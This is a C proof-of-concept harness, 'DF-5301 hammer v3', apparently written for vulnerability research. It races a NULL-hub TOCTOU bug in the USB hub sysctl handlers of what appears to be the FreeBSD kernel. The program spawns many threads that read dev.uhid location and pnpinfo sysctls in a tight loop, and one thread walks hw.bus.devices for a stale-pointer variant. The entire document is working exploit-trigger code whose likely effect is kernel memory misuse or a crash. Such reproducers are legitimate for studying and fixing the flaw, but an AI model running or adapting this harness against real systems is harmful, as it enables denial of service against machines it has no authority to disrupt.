DF-5301 / hammer.c
/* DF-5301 hammer v3 - tight loop on the vulnerable sysctls only. * * dev.uhid.0/.1 .%location/.%pnpinfo are served by uhub1's * uhub_child_location_string()/uhub_child_pnpinfo_string() - the methods * with the NULL-hub TOCTOU. dev.uhub.1.* dispatches uhub0 (root hub, * never NULL) and is useless as a target, so v3 drops it and the global * walk from the hot path (one walk thread kept for the stale-pointer * variant). */ #include <sys/types.h> #include <sys/sysctl.h> #include <pthread.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> static volatile int stop; static const char *targets[] = { "dev.uhid.0.%location", "dev.uhid.0.%pnpinfo", "dev.uhid.1.%location", "dev.uhid.1.%pnpinfo", }; #define NTGT 4 static unsigned long per_thr[128]; static unsigned long per_hit[128]; static void * thr(void *arg) { long id = (long)arg; char buf[2048]; size_t l; int i; unsigned long n = 0, h = 0; if (id == 0) { /* one thread: global unlocked walk (stale-pointer variant) */ char big[96*1024]; while (!stop) { l = sizeof(big); if (sysctlbyname("hw.bus.devices", big, &l, NULL, 0) == 0) h++; per_thr[id] = n; per_hit[id] = h; } } while (!stop) { for (i = 0; i < NTGT; i++) { l = sizeof(buf); if (sysctlbyname(targets[i], buf, &l, NULL, 0) == 0) n++; else h++; /* ENOENT while hub is detached */ } per_thr[id] = n; per_hit[id] = h; } return (NULL); } int main(int argc, char **argv) { int n = (argc > 1) ? atoi(argv[1]) : 8; pthread_t t[128]; int i; unsigned long pn = 0, ph = 0, cn, ch; if (n > 128) n = 128; for (i = 0; i < n; i++) pthread_create(&t[i], NULL, thr, (void *)(long)i); for (;;) { sleep(5); cn = ch = 0; for (i = 0; i < n; i++) { cn += per_thr[i]; ch += per_hit[i]; } printf("ok=%lu (+%lu) miss=%lu (+%lu) rate=%lu/s\n", cn, cn - pn, ch, ch - ph, (cn - pn) / 5); fflush(stdout); pn = cn; ph = ch; } return (0); } |